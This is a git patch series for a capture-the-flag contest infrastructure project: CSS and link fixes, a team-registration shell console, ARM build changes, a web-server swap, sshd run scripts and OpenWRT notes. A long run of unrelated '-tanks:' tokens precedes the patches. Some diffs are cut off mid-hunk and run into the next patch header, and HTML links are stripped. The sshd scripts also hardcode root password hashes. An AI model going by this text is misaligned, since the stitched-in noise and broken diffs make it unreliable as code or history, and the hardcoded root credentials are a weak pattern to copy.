-tanks:xugav-syfit-vycyx -tanks:xenaz-bytuz-kadix -tanks:xuvid-gypem-vunex -tanks:xuhon-kanih-tysox -tanks:xosac-pahar-nusyx -tanks:xomec-kihap-kerux -tanks:ximef-nugul-cypex -tanks:xoped-kotik-duryx -tanks:xukoh-gyziv-hogox -tanks:xonon-lavac-zedux -tanks:xudem-nigop-fezax -tanks:xelot-pozin-tedex -tanks:xesit-befyb-sisix -tanks:xigag-velal-petix -tanks:ximel-ladev-pifix -tanks:xufon-lyhub-cypax -tanks:xuhas-subev-danyx -tanks:xivab-gydyt-besox -tanks:xezot-himuk-tulex -tanks:xetem-nucim-kuzix -tanks:xeboz-lonoz-mifax -tanks:xedez-kivug-cecox -tanks:xumab-vybaf-fupex -tanks:xosah-batub-pobyx -tanks:xevet-curar-ropix -tanks:xuzaf-rulyv-lasax -tanks:xifiz-zinuh-lolyx -tanks:xofas-cucuh-sezex -tanks:xizog-tykym-rukyx -tanks:xibop-bekaf-minex -tanks:xomor-kugar-matex -tanks:xemot-myrys-tanux -tanks:xucen-kykyh-zekex -tanks:xubon-gomep-lipix -tanks:xusob-ripet-tarix -tanks:xefis-zarak-tyzax -tanks:xelad-gyhom-nigyx -tanks:xizeb-zukit-pamix -tanks:xucem-hapef-tekux -tanks:xomim-dypit-torex -tanks:xozen-zalom-durix -tanks:xemaz-dadon-lucix -tanks:xucen-hylon-mevyx -tanks:xuleh-fotus-zilux -tanks:ximep-byvug-pozax -tanks:xuvif-dinab-rivyx -tanks:xunih-vykuf-kudix -tanks:xumel-sepud-ripux -tanks:xizah-hakof-pivox -tanks:xovol-vedof-bavix -tanks:xoled-pemyv-pipox -tanks:xogoz-nydys-pykex -tanks:ximov-fekyt-sutux -tanks:xever-kynib-serix -tanks:xuzav-cobuc-byhux -tanks:xobeh-butyd-sezox -tanks:xiros-bubem-mypex -tanks:xepem-diker-kazax -tanks:xufet-polir-kabox -tanks:xelit-guhyl-domex -tanks:xosen-vuvyk-kypux -tanks:xivok-sysek-bavyx -tanks:xunas-hahil-lokix -tanks:xefik-kukud-bubix -tanks:xocid-pobip-dumex -tanks:xihec-bubeg-fylox -tanks:xemez-nafob-pupox -tanks:xufag-kanat-hufox -tanks:xohil-gelad-parix -tanks:xecid-dypip-fapux -tanks:xocab-votim-panox -tanks:xuhet-sepes-cedux -tanks:xepes-hylun-tihux -tanks:xirar-tybip-togix -tanks:xoseg-sezeb-comix -tanks:xuham-marel-nanux -tanks:xumef-naziv-gacax -tanks:xifek-sakon-gabex -tanks:xotef-dygap-getix -tanks:xetap-colus-covex -tanks:xebig-balud-bylex -tanks:xuhev-lilym-bopux -tanks:xenis-susuz-bitex -tanks:xekir-neduf-zysex -tanks:xifal-cunaz-pydax -tanks:xubeh-robir-kepix -tanks:xesef-pybum-defax -tanks:xulin-pagog-hupix -tanks:xesef-salyc-nivyx -tanks:xigon-kecut-lomax -tanks:xuges-mimun-zorux -tanks:xecas-katun-myhex -tanks:xogir-baviz-venyx -tanks:xoliv-cyfah-fivox -tanks:xifip-zimur-cetox -tanks:xufah-mobep-cucax -tanks:xohaf-pityr-munux -tanks:xobic-kudim-vomox -tanks:xufin-pyrug-rydix -tanks:xovem-vuciz-sifyx -tanks:xeseb-pasyk-hofex -tanks:xotel-hador-retix -tanks:xofed-gyfoh-telax -tanks:xihas-bigez-buvux -tanks:xizot-kykyc-nucex -tanks:xibol-puryv-myfex -tanks:xocet-beluf-sibix -tanks:xupoc-vatyt-popex -tanks:xedar-cyluf-fucox -tanks:xobek-ficeh-pobyx -tanks:xinod-myvez-byrox -tanks:xugid-kovov-hodax -tanks:xuriv-sasyl-febix -tanks:xecok-nydul-zuzux -tanks:xitok-kulet-rakox -tanks:xohan-hidav-gotox -tanks:xolen-dilup-dubox -tanks:xokoh-tekav-fepyx -tanks:xedot-nigef-henix -tanks:xesob-zazos-kogox -tanks:xozik-hyrac-kekox -tanks:xinip-kysyh-rydex -tanks:xobah-gikud-nesux -tanks:xozem-hofyp-sacux -tanks:xebes-petev-capax -tanks:xoval-gisak-vasyx -tanks:xitil-lopyz-zasix -tanks:xodin-mufes-vifix -tanks:xufof-loceh-vovox -tanks:xoker-cyhed-hilyx -tanks:xepob-dycym-bavix -tanks:xugok-kevad-lozyx -tanks:xugid-lunel-podyx -tanks:xizoh-fibip-fesyx -tanks:xeror-gugor-vabox -tanks:xolid-pivod-bulex -tanks:xilam-hifyk-guvex -tanks:xehar-sozek-sakyx -tanks:xofap-safon-vezyx -tanks:xocip-dozed-dinax -tanks:xipik-rodad-nytix -tanks:xipev-cabak-pycyx -tanks:xufin-bumit-zynyx -tanks:xugim-myfev-hyvex -tanks:xugap-ripif-bakax -tanks:xosah-savap-tahux -tanks:xotos-rudiv-pekix -tanks:xerig-vydoc-rodex -tanks:ximiz-pilek-pycox -tanks:xobef-dunym-luzox -tanks:xilib-rosar-titix -tanks:xekac-hygyg-tycox -tanks:xomid-mopuh-febyx -tanks:xunab-tadef-teryx -tanks:xezig-lamod-hepux -tanks:xitom-rykin-fafyx -tanks:xemab-nygof-fopox -tanks:xikol-setur-rymax -tanks:xenen-cokip-mitax -tanks:xezim-dabeg-nosox -tanks:xeped-voguk-kigax -tanks:xubih-fific-dytyx -tanks:xefaz-dufih-cynix -tanks:xumin-hibul-kalax -tanks:xitad-byvyv-byhix -tanks:xicen-tukyc-barex -tanks:xulab-gimog-zuvux -tanks:xucir-lisaf-vulix -tanks:xemid-sazid-busox -tanks:xepan-pifud-symox -tanks:xubap-hiral-kazix -tanks:xugis-metas-tivax -tanks:xetiv-tiger-polux -tanks:xocif-fubuc-tisox -tanks:xuhim-nyzad-tubyx -tanks:xisin-tipag-razox -tanks:xomir-suleg-fodix -tanks:xocak-guvyz-debix -tanks:xuneg-zezar-henex -tanks:xiloc-sosuh-mulyx -tanks:xinaz-sokat-putux -tanks:xecec-herev-pazax -tanks:xegiz-nybuv-hapax -tanks:xulap-comuv-tovox -tanks:xucan-syvyn-bycix -tanks:xuhet-sirel-dikax -tanks:xomad-linys-kabyx -tanks:xolot-baryz-rizux -tanks:xubot-gupav-ruvux -tanks:xovod-vekac-kusix -tanks:xomid-dulob-fotax -tanks:xonen-tofab-cufax -tanks:xufib-zevun-muzux -tanks:xitig-vyhes-makux -tanks:xozib-gober-hitix -tanks:xiloc-famah-ladex -tanks:xotez-pabig-zozyx -tanks:xugap-ribuz-pudex -tanks:xovit-lepil-vuzex -tanks:xomap-timip-ranyx -tanks:xogoc-zohuk-sazex -tanks:xomir-nykad-dikix -tanks:xebiz-pypym-tyhox -tanks:xenig-casyh-nitax -tanks:xunom-caboc-legix -tanks:xuloh-pokev-lekox -tanks:xuhav-zerov-gymix -tanks:xisah-tinoh-gulux -tanks:xutom-godec-zibux -tanks:xusev-conin-begix -tanks:xibas-zefok-rakux -tanks:xekid-tysol-tofex -tanks:xokab-mygan-fityx -tanks:xekiz-sukeb-lipex -tanks:xogec-gosah-vedex -tanks:xedol-mukyh-dobyx -tanks:xomok-fylus-zokix -tanks:ximeh-hudom-rabax -tanks:xihon-lanug-dicix -tanks:xogil-cisys-kosux -tanks:xumov-bekak-simox -tanks:xezar-siroh-latax -tanks:xunab-gazun-mafox -tanks:xukim-menos-refox -tanks:xutos-mogaf-ruvox -tanks:xubik-kupas-zonux -tanks:xuzom-hugyt-virux -tanks:xebig-tasym-rohux -tanks:xovah-novud-ponex -tanks:xorez-zisec-vitex -tanks:xokev-dahog-mykix -tanks:xehed-lipom-burax -tanks:xefan-nodes-hekux -tanks:ximig-radoc-gynax -tanks:xecap-cizud-tyrex -tanks:xuhez-lunuh-kirux -tanks:xopes-tupyk-dalyx -tanks:xipiv-lohek-dymyx -tanks:xiver-somyb-hycox -tanks:xuran-rimuc-bupox -tanks:ximin-hamit-mycex -tanks:xuzac-tuzys-rogax -tanks:xolil-hakik-katyx -tanks:xiloc-povyh-kerax -tanks:xerom-fubim-pavyx -tanks:xefeh-vahum-sasox -tanks:xogab-baced-cimix -tanks:xumoz-zobur-rutex -tanks:xigam-lunyp-rugyx -tanks:xuhin-focag-calex -tanks:xocot-pesuf-mehax -tanks:xikab-makyt-kimox -tanks:xuref-lukeb-kurux -tanks:xiroh-ciryt-pyrex -tanks:xepoz-kemug-kotax -tanks:xodah-nyroc-hizux -tanks:xicar-syfac-gabox -tanks:xokav-pefep-dagex -tanks:xefom-rameb-pidyx -tanks:xodag-fupon-sicax -tanks:xekot-zucuc-hufix -tanks:xedal-syviz-kytax -tanks:xolal-byruh-fonax -tanks:xolom-bepan-tagex -tanks:xulak-nemer-dimux -tanks:xepov-vynif-lavax -tanks:xeseb-gekev-tikax -tanks:xotap-rorid-dihyx -tanks:xovob-cipoz-tunix -tanks:xubag-basik-ramix -tanks:xipon-fedap-pucix -tanks:xokez-panaz-gicix -tanks:xohab-gefaf-gulyx -tanks:xeviv-dovyt-gafux -tanks:xutot-camip-gilax -tanks:ximes-mibod-bigux -tanks:xofap-tamid-mulox -tanks:xikic-risud-patyx -tanks:xuges-mazib-kahux -tanks:xecog-benid-hymyx -tanks:xepit-hosoh-dykux -tanks:xodal-cugal-zunox -tanks:xotor-zohak-husyx -tanks:xotob-caken-patox -tanks:xoten-levaf-zirex -tanks:xomat-tubym-musex -tanks:xebiv-rolat-gimix -tanks:xopeb-zykus-mycox -tanks:xesep-buvom-pefyx -tanks:xibef-hycip-merux -tanks:xecal-mafuk-bomux -tanks:xozos-daceh-rucix -tanks:xeraz-bumus-hidox -tanks:xukig-zynag-nefyx -tanks:xohaf-tesyc-gatex -tanks:xucit-ryvuf-zufax -tanks:xenif-racoh-kuhux -tanks:xisoz-sisoz-kyrax -tanks:xozir-hysob-pefix -tanks:xomim-nesoz-lemix -tanks:xolec-kefiv-herox -tanks:xebeb-dubyl-motex -tanks:xofog-tobof-kegux -tanks:xumob-syrav-mulax -tanks:xopez-sahen-pifyx -tanks:xelad-zufak-kifux -tanks:xocat-zanah-rokox -tanks:xupin-zyliv-gepux -tanks:xuhip-tyzyn-pygyx -tanks:xudic-hezer-duhox -tanks:xoseh-zonob-lydix -tanks:xocaz-gogod-sofex -tanks:xolag-bycom-curyx -tanks:xuvim-sybyk-megix -tanks:xogom-susuf-hunax -tanks:xules-sadav-fopox -tanks:xicod-puzak-nabox -tanks:xukap-mapug-zasix -tanks:xorav-fotyp-vapix -tanks:xopab-nurez-myfex -tanks:xubat-gohip-lycox -tanks:xorar-mosag-mavex -tanks:xufah-lutib-hatux -tanks:xudal-zitab-ramux -tanks:xipar-bylib-zofux -tanks:xomok-hahof-sulix -tanks:xukag-kucov-pogyx -tanks:xucis-zynys-behux -tanks:xucid-sucaf-hyzix -tanks:xonin-gizyp-zosax -tanks:xumom-luzam-suzix -tanks:xunop-bavug-lobax -tanks:xileg-hyped-gorux -tanks:xidat-pikob-sinax -tanks:xesef-zadoh-vulux -tanks:xogon-zaler-fohux -tanks:xuhaz-curem-sarux -tanks:xenot-lofag-valox -tanks:xusog-myzon-mugox -tanks:xezam-hafyt-gemox -tanks:xipor-vogef-fabox -tanks:xuvol-lulep-hihux -tanks:xuzol-tuluv-hibyx -tanks:xikof-conos-gebex -tanks:xehal-rynin-lecax -tanks:xocal-tyzec-pykix -tanks:xihak-vefyt-tetax -tanks:xuman-tuhop-fozix -tanks:xiheb-dusyc-muzex -tanks:xuvec-rikot-hecax -tanks:xolar-turar-cigyx -tanks:xifez-gital-rasux -tanks:xuroh-cohak-civix -tanks:xekom-gypir-volix -tanks:xugit-pevag-zopox -tanks:xevac-sekap-nivyx -tanks:xecib-tilum-lugux -tanks:xelor-bimif-kovyx -tanks:ximan-tapop-fipyx -tanks:xidoh-morub-verex -tanks:xeran-davyf-ligax -tanks:xiran-pohuh-valex -tanks:xufil-tadar-rityx -tanks:xuper-revaz-vysyx -tanks:xodev-vonyc-lycux -tanks:xesah-ragos-vasux -tanks:xipet-rykuc-culox -tanks:ximoh-fomyr-bidex -tanks:xedeh-zozat-lydyx -tanks:ximac-socaf-dahux -tanks:xehad-desid-tycax -tanks:ximel-pulyt-carux -tanks:xolar-bitor-fevyx -tanks:xevag-zyfin-gabox -tanks:xucav-hakok-hadox -tanks:xucot-pucin-relax -tanks:xenar-cozap-kivax -tanks:xufom-safor-vucox -tanks:xihip-ruvyd-tobyx -tanks:xohez-rukat-nugux -tanks:xumir-hudaf-sarux -tanks:xosis-rizug-hyfex -tanks:xucip-kahus-dupyx -tanks:xidoz-buzyk-magex -tanks:xomib-vutis-gobyx -tanks:xeset-zudag-gyzix -tanks:xizis-hugok-hyfox -tanks:xotor-rudiv-zirex -tanks:xemed-hatuz-hugox -tanks:xoper-vyfuh-zudox -tanks:xidem-gabal-kyrix -tanks:xihab-kedos-cibax -tanks:xipan-vytyf-dapyx -tanks:xotof-nafog-kizax -tanks:xizib-hecer-cosax -tanks:xinas-leveb-nupix -tanks:xuvoc-torun-nypux -tanks:xonam-zinen-nozux -tanks:xorah-gacyz-sonyx -tanks:xecob-pucek-bagix -tanks:xubar-vatyp-bavex -tanks:xures-luzat-necux -tanks:xugah-gunif-posex -tanks:xovep-luvef-gefex -tanks:xofip-cuvoz-katex -tanks:xogoz-mebak-sabax -tanks:xikat-bulib-canox -tanks:xihez-zyzuk-bigyx -tanks:xigok-pomob-sosox -tanks:xopeg-byguc-dabyx -tanks:xurag-pylov-mefyx -tanks:xubat-gevuh-hyfox -tanks:xotoz-rifeh-ridox -tanks:xovez-hurev-nydux -tanks:xehek-lyhad-celax -tanks:xegim-ludon-kurax -tanks:xifag-vunon-zefex -tanks:xerih-mison-higax -tanks:xebiv-buzyn-zakix -tanks:xigap-gyzir-memax -tanks:xecel-sovyb-papux -tanks:xosen-fihyr-lybix -tanks:xuvib-cezyz-syhex -tanks:xogif-cudik-pulox -tanks:xonel-zakar-pelox -tanks:xiben-vemeg-kunix -tanks:xezak-tarak-makax -tanks:xineb-betad-cytax -tanks:xubit-zysob-dalax -tanks:xozoc-popam-befyx -tanks:xitom-tosum-cezox -tanks:xikef-povor-rokux -tanks:xizit-lukuv-gylix -tanks:xihil-zoboc-cudix -tanks:xedot-turor-gypux -tanks:xitot-vakip-bunox -tanks:xevem-dikev-palux -tanks:xehic-zyrot-gakux -tanks:xikar-begom-cikyx -tanks:xobog-cyciv-zugyx -tanks:xufil-gygyd-sicex -tanks:xelic-mygyh-mehix -tanks:xudol-zadaf-rofux -tanks:xelim-hinyp-cugyx -tanks:xigof-viges-zahyx -tanks:xenes-fusev-kehax -tanks:xuval-gusub-zapex -tanks:xocak-hepor-tazyx -tanks:xilot-muzuc-sotyx -tanks:xucek-donet-nokox -tanks:xiloz-dabiz-vygux -tanks:xofet-pykaf-horex -tanks:xiziv-pemof-hobyx -tanks:xizel-vusen-fezox -tanks:xutap-rovor-hykix From c91403522685aa545a0c888676f0ae963f033ee8 Mon Sep 17 00:00:00 2001 From: Neale Pickett Date: Thu, 19 Apr 2012 17:46:52 -0600 Subject: [PATCH 02/14] Just call it FIRE --- packages/mcp/www/ctf.css | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/packages/mcp/www/ctf.css b/packages/mcp/www/ctf.css index 8cfd3db..5262dc2 100644 --- a/packages/mcp/www/ctf.css +++ b/packages/mcp/www/ctf.css @@ -46,7 +46,7 @@ h1:first-child { h1:first-child:before { letter-spacing: -0.1em; - content: "Tracer FIRE: "; + content: "FIRE: "; } /**** body ****/ From 1502fb56c58f3a7146feee8760138c0b167ab955 Mon Sep 17 00:00:00 2001 From: Neale Pickett Date: Thu, 19 Apr 2012 17:48:50 -0600 Subject: [PATCH 03/14] fix v4 IRC link --- packages/mcp/www/index.html | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/packages/mcp/www/index.html b/packages/mcp/www/index.html index 87ec607..d62fd73 100644 --- a/packages/mcp/www/index.html +++ b/packages/mcp/www/index.html @@ -24,7 +24,7 @@
  • Contest chat - (IPv4) + (IPv4) carries important announcements, and sometimes clues and puzzles.
  • From 00c5ad65c45e3e6126ece0702d3dabda3ec04e24 Mon Sep 17 00:00:00 2001 From: Neale Pickett Date: Tue, 24 Apr 2012 10:03:14 -0600 Subject: [PATCH 04/14] last-minute fixes for ipv4 --- install.sh | 2 +- packages/00admin/sbin/fire-ip | 4 ++-- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/install.sh b/install.sh index 5573b7b..2538025 100755 --- a/install.sh +++ b/install.sh @@ -14,7 +14,7 @@ fatsize=$(sfdisk -l /dev/sdb | awk '/^Disk/ {print $3 - 2;}') FATFS=${DRIVE}1 EXTFS=${DRIVE}2 -sfdisk $DRIVE < Date: Tue, 24 Apr 2012 12:22:32 -0600 Subject: [PATCH 05/14] Project 2 console --- packages/p2/bin/p2console | 64 +++++++++++++++++++++++++++++++++++++++ 1 file changed, 64 insertions(+) create mode 100755 packages/p2/bin/p2console diff --git a/packages/p2/bin/p2console b/packages/p2/bin/p2console new file mode 100755 index 0000000..f87e9de --- /dev/null +++ b/packages/p2/bin/p2console @@ -0,0 +1,64 @@ +#! /bin/sh + +BASE=/tmp/p2 + +mkdir -p $BASE + +if ! [ -f $BASE/nonce ]; then + dd if=/dev/urandom count=1 | md5sum - > $BASE/nonce +fi +clear +read nonce < $BASE/nonce + +newteam () { + echo '== Team Creation ==' + echo + echo -n 'What would you like your team to be called (3-12 chars)? ' + read -r name + echo + namelen=$(printf "%s" "$name" | wc -c) + if [ $namelen -lt 3 ] || [ $namelen -gt 12 ]; then + echo 'Invalid name length' + return + fi + hash=$(printf '%s %s' "$nonce" "$name" | md5sum | cut -b 1-8) + + if [ -d $BASE/$hash ]; then + echo "That name is already in use. Try another one." + return + fi + + mkdir $BASE/$hash + + printf '%s' "$name" > $BASE/$hash/.name + + echo "Your team hash is $hash. Write that down somewhere and don't lose it." + echo "If you forget your hash, you'll have to start over from the beginning" + echo "with a new team and everybody will laugh at you." +} + +echo -n 'Team hash ("new" to create a new team): ' +read -r hash +echo +if [ -z "$hash" ]; then + exit 0 +elif [ "$hash" = "new" ]; then + newteam +elif ! [ -d $BASE/$hash ]; then + echo "No such team, fool." + echo "Is this when everybody laughs at you for forgetting your hash?" +else + read -r name < $BASE/$hash/.name + echo "Welcome $name" + echo + echo "Enter answer and I'll tell you if it's right or if you're a dummy." + echo -n '> ' + read -r answer + ahash=$(printf '%s' "$answer" | md5sum | cut -d' ' -f1) +fi + +echo +echo "Press [Enter] to clear the screen." +read +exit 0 + From bcae3cf2fb40532da126766a9d99725aa476e3e3 Mon Sep 17 00:00:00 2001 From: Neale Pickett Date: Thu, 3 May 2012 14:01:16 -0600 Subject: [PATCH 06/14] add DC20 ideas file --- doc/2012-07-DC20/ideas.txt | 7 +++++++ 1 file changed, 7 insertions(+) create mode 100644 doc/2012-07-DC20/ideas.txt diff --git a/doc/2012-07-DC20/ideas.txt b/doc/2012-07-DC20/ideas.txt new file mode 100644 index 0000000..d0186bc --- /dev/null +++ b/doc/2012-07-DC20/ideas.txt @@ -0,0 +1,7 @@ +* foam +** beat-matching puzzle + You have to play an MP3 to beat-match something being broadcast over + FM. When you do, the two pieces work together somehow to tell you + the key. +** New recordings of Ginnie + From 9cc822c4674c6ee7fdb6d042055b8be26c90b1a4 Mon Sep 17 00:00:00 2001 From: Neale Pickett Date: Thu, 10 May 2012 12:32:09 -0600 Subject: [PATCH 07/14] fixes for ARM build --- Makefile | 5 +++++ packages/cowbull/src/Makefile | 2 +- packages/inferno/inferno.mk | 14 +++++++------- packages/inferno/service/httpd/run | 2 +- packages/mcp/mcp.mk | 20 ++++++++++---------- packages/mcp/service/httpd/run | 3 ++- packages/router/router.mk | 2 +- 7 files changed, 27 insertions(+), 21 deletions(-) diff --git a/Makefile b/Makefile index 4b9363b..81e474b 100644 --- a/Makefile +++ b/Makefile @@ -10,6 +10,11 @@ CACHE = cache # The end result BIN = bin +ifdef ARCH +export CC = ${ARCH}-cc +export STRIP = ${ARCH}-strip +endif + all: packages dist: ctf-install.zip diff --git a/packages/cowbull/src/Makefile b/packages/cowbull/src/Makefile index dd2d47c..9b787e9 100644 --- a/packages/cowbull/src/Makefile +++ b/packages/cowbull/src/Makefile @@ -3,7 +3,7 @@ DESTDIR ?= /tmp build: cowd cowcli cowcli: cowcli.c - $(CC) -o $@ -static $< + cc -o $@ -static $< strip $@ upx $@ diff --git a/packages/inferno/inferno.mk b/packages/inferno/inferno.mk index 308c6f7..49b9118 100644 --- a/packages/inferno/inferno.mk +++ b/packages/inferno/inferno.mk @@ -1,24 +1,24 @@ INFERNO_PKGDIR = $(TARGET)/inferno INFERNO_BUILDDIR = $(BUILD)/inferno -INFERNO_FNORD_CACHE = $(CACHE)/fnord.git -INFERNO_FNORD_URL = http://woozle.org/~neale/projects/fnord +INFERNO_ERIS_CACHE = $(CACHE)/eris.git +INFERNO_ERIS_URL = http://woozle.org/~neale/projects/eris -$(INFERNO_FNORD_CACHE): - git clone --bare $(INFERNO_FNORD_URL) $@ +$(INFERNO_ERIS_CACHE): + git clone --bare $(INFERNO_ERIS_URL) $@ inferno-source: $(INFERNO_BUILDDIR) -$(INFERNO_BUILDDIR): $(INFERNO_FNORD_CACHE) +$(INFERNO_BUILDDIR): $(INFERNO_ERIS_CACHE) git clone $< $@ inferno-build: $(INFERNO_BUILDDIR)/build $(INFERNO_BUILDDIR)/build: $(INFERNO_BUILDDIR) - $(MAKE) -C $(INFERNO_BUILDDIR) fnord-idx + $(MAKE) -C $(INFERNO_BUILDDIR) inferno-install: $(INFERNO_BUILDDIR)/build mkdir -p $(INFERNO_PKGDIR)/bin - cp $(INFERNO_BUILDDIR)/fnord-idx $(INFERNO_PKGDIR)/bin/ + cp $(INFERNO_BUILDDIR)/eris $(INFERNO_PKGDIR)/bin/ $(call COPYTREE, packages/inferno/service, $(INFERNO_PKGDIR)/service) diff --git a/packages/inferno/service/httpd/run b/packages/inferno/service/httpd/run index e04f932..b3d848d 100755 --- a/packages/inferno/service/httpd/run +++ b/packages/inferno/service/httpd/run @@ -4,5 +4,5 @@ exec 2>&1 cd /var/www -exec tcpsvd -l localhost 0 80 /opt/inferno/bin/fnord-idx . . +exec tcpsvd -l localhost 0 80 /opt/inferno/bin/eris -d diff --git a/packages/mcp/mcp.mk b/packages/mcp/mcp.mk index ea8c647..ed90ab2 100644 --- a/packages/mcp/mcp.mk +++ b/packages/mcp/mcp.mk @@ -3,26 +3,26 @@ MCP_BUILDDIR = $(BUILD)/mcp ## -## XXX: clean up fnord like router.mk +## XXX: clean up eris like router.mk ## -FNORD_CACHE = $(CACHE)/fnord.git -FNORD_BUILDDIR = $(MCP_BUILDDIR)/fnord -FNORD_URL = http://woozle.org/~neale/projects/fnord +ERIS_CACHE = $(CACHE)/eris.git +ERIS_BUILDDIR = $(MCP_BUILDDIR)/eris +ERIS_URL = http://woozle.org/~neale/projects/eris -$(FNORD_CACHE): - git clone --bare $(FNORD_URL) $@ +$(ERIS_CACHE): + git clone --bare $(ERIS_URL) $@ mcp-source: $(MCP_BUILDDIR)/source -$(MCP_BUILDDIR)/source: $(FNORD_CACHE) +$(MCP_BUILDDIR)/source: $(ERIS_CACHE) mkdir -p $(@D) - git clone $(FNORD_CACHE) $(@D)/fnord + git clone $(ERIS_CACHE) $(@D)/eris touch $@ mcp-build: $(MCP_BUILDDIR)/build $(MCP_BUILDDIR)/build: $(MCP_BUILDDIR)/source $(MAKE) -C packages/mcp/src build - $(MAKE) -C $(MCP_BUILDDIR)/fnord DIET= CC=$(CC) fnord-cgi + $(MAKE) -C $(MCP_BUILDDIR)/eris mcp-install: $(MCP_BUILDDIR)/build @@ -32,7 +32,7 @@ mcp-install: $(MCP_BUILDDIR)/build cp packages/mcp/src/pointscli $(MCP_PKGDIR)/bin/ cp packages/mcp/src/puzzles.cgi $(MCP_PKGDIR)/bin/ - cp $(MCP_BUILDDIR)/fnord/fnord-cgi $(MCP_PKGDIR)/bin/ + cp $(MCP_BUILDDIR)/eris/eris $(MCP_PKGDIR)/bin/ $(call COPYTREE, packages/mcp/service, $(MCP_PKGDIR)/service) diff --git a/packages/mcp/service/httpd/run b/packages/mcp/service/httpd/run index 182c5cf..4180bbd 100755 --- a/packages/mcp/service/httpd/run +++ b/packages/mcp/service/httpd/run @@ -18,4 +18,5 @@ for d in /opt/*; do fi done -exec tcpsvd -u ctf ${IP%/*} 80 /opt/mcp/bin/fnord-cgi /var/www +cd /var/www +exec tcpsvd -u ctf ${IP%/*} 80 /opt/mcp/bin/eris -c diff --git a/packages/router/router.mk b/packages/router/router.mk index c101883..f9e5158 100644 --- a/packages/router/router.mk +++ b/packages/router/router.mk @@ -59,7 +59,7 @@ $(ECMH_BUILDDIR): $(ECMH_CACHE) router-build: $(ROUTER_BUILDDIR)/ecmh-build $(ROUTER_BUILDDIR)/ecmh-build: $(ECMH_BUILDDIR) - $(MAKE) -C $(ECMH_BUILDDIR)/src ECMH_VERSION=dbtl-git + $(MAKE) -C $(ECMH_BUILDDIR)/src ECMH_VERSION=dbtl-git STRIP=$(STRIP) $(MAKE) -C $(ECMH_BUILDDIR)/tools/mtrace6 touch $@ From 3bd320aa322d9c5acc9990763695ec438bc425f5 Mon Sep 17 00:00:00 2001 From: Neale Pickett Date: Fri, 11 May 2012 11:15:13 -0600 Subject: [PATCH 08/14] Make octopus-redirect stop bringing down the address --- packages/octopus/service/octopus-redirect/finish | 3 --- 1 file changed, 3 deletions(-) delete mode 100755 packages/octopus/service/octopus-redirect/finish diff --git a/packages/octopus/service/octopus-redirect/finish b/packages/octopus/service/octopus-redirect/finish deleted file mode 100755 index c788d94..0000000 --- a/packages/octopus/service/octopus-redirect/finish +++ /dev/null @@ -1,3 +0,0 @@ -#! /bin/sh - -/opt/00admin/sbin/fire-ip del From 46147ee5df4e270a075f7e5de0d4a811013852b8 Mon Sep 17 00:00:00 2001 From: Neale Pickett Date: Fri, 11 May 2012 11:15:42 -0600 Subject: [PATCH 09/14] Fix root account creation race condition --- packages/00admin/service/sshd/run | 3 --- packages/inferno/service/httpd/run | 3 +-- packages/mcp/service/httpd/run | 2 +- packages/router/service/sshd/run | 2 +- 4 files changed, 3 insertions(+), 7 deletions(-) diff --git a/packages/00admin/service/sshd/run b/packages/00admin/service/sshd/run index 65dd2e2..f4a6692 100755 --- a/packages/00admin/service/sshd/run +++ b/packages/00admin/service/sshd/run @@ -2,9 +2,6 @@ exec 2>&1 -[ -r /etc/passwd ] || echo 'root:x:0:0:root:/tmp:/bin/sh' > /etc/passwd - -# Always do this, in case something else set a root password echo 'root:$1$i/EeZyl6$5C6Z8s0ftEdTKFLUli1wP1' | chpasswd --encrypted # Bring up the NIC; this will get us at least a link-local address, and diff --git a/packages/inferno/service/httpd/run b/packages/inferno/service/httpd/run index b3d848d..fdd907f 100755 --- a/packages/inferno/service/httpd/run +++ b/packages/inferno/service/httpd/run @@ -2,7 +2,6 @@ exec 2>&1 -cd /var/www - +ln -sf /var/www default exec tcpsvd -l localhost 0 80 /opt/inferno/bin/eris -d diff --git a/packages/mcp/service/httpd/run b/packages/mcp/service/httpd/run index 4180bbd..013b0a3 100755 --- a/packages/mcp/service/httpd/run +++ b/packages/mcp/service/httpd/run @@ -18,5 +18,5 @@ for d in /opt/*; do fi done -cd /var/www +ln -sf /var/www default exec tcpsvd -u ctf ${IP%/*} 80 /opt/mcp/bin/eris -c diff --git a/packages/router/service/sshd/run b/packages/router/service/sshd/run index cfe1216..d063d8c 100755 --- a/packages/router/service/sshd/run +++ b/packages/router/service/sshd/run @@ -2,6 +2,6 @@ exec 2>&1 -echo 'root:$1$xAJ7KwiU$BeKJjYGs9r/hY9Ag4qv4I1:0:0:root:/tmp:/bin/sh' > /etc/passwd +echo 'root:$1$xAJ7KwiU$BeKJjYGs9r/hY9Ag4qv4I1:0:0' | chpasswd --encrypted exec dropbear -r ./rsa.key -E -F From 8c71006a6f9ba5500919b1f3310b1776e8105eb5 Mon Sep 17 00:00:00 2001 From: Neale Pickett Date: Fri, 11 May 2012 17:56:29 -0600 Subject: [PATCH 10/14] New OpenWRT configuration --- doc/openwrt/README | 82 +++++++----------- doc/openwrt/etc/config/dhcp | 2 - doc/openwrt/etc/config/network | 27 ------ doc/openwrt/etc/config/wifi | 9 -- doc/openwrt/etc/init.d/iptables | 26 ------ doc/openwrt/etc/init.d/vlan | 20 ----- doc/openwrt/etc/rc.d/K89iptables | 1 - doc/openwrt/etc/rc.d/K89vlan | 1 - doc/openwrt/etc/rc.d/S41vlan | 1 - doc/openwrt/etc/rc.d/S45iptables | 1 - doc/openwrt/www/index.html | 18 ++++ doc/openwrt/www/password_strength.png | Bin 0 -> 93029 bytes .../www/password_strength_reflowed.png | Bin 0 -> 131079 bytes packages/mcp/www/index.html | 2 +- 14 files changed, 50 insertions(+), 140 deletions(-) delete mode 100644 doc/openwrt/etc/config/dhcp delete mode 100644 doc/openwrt/etc/config/network delete mode 100644 doc/openwrt/etc/config/wifi delete mode 100755 doc/openwrt/etc/init.d/iptables delete mode 100755 doc/openwrt/etc/init.d/vlan delete mode 120000 doc/openwrt/etc/rc.d/K89iptables delete mode 120000 doc/openwrt/etc/rc.d/K89vlan delete mode 120000 doc/openwrt/etc/rc.d/S41vlan delete mode 120000 doc/openwrt/etc/rc.d/S45iptables create mode 100644 doc/openwrt/www/index.html create mode 100644 doc/openwrt/www/password_strength.png create mode 100644 doc/openwrt/www/password_strength_reflowed.png diff --git a/doc/openwrt/README b/doc/openwrt/README index cedb2f9..ca6cdad 100644 --- a/doc/openwrt/README +++ b/doc/openwrt/README @@ -1,57 +1,37 @@ -This directory contains the files used to set up an OpenWRT router. +Using an OpenWRT router +======================= +You can use an off-the-shelf, OpenWRT capable wireless router, +configuring only through the web 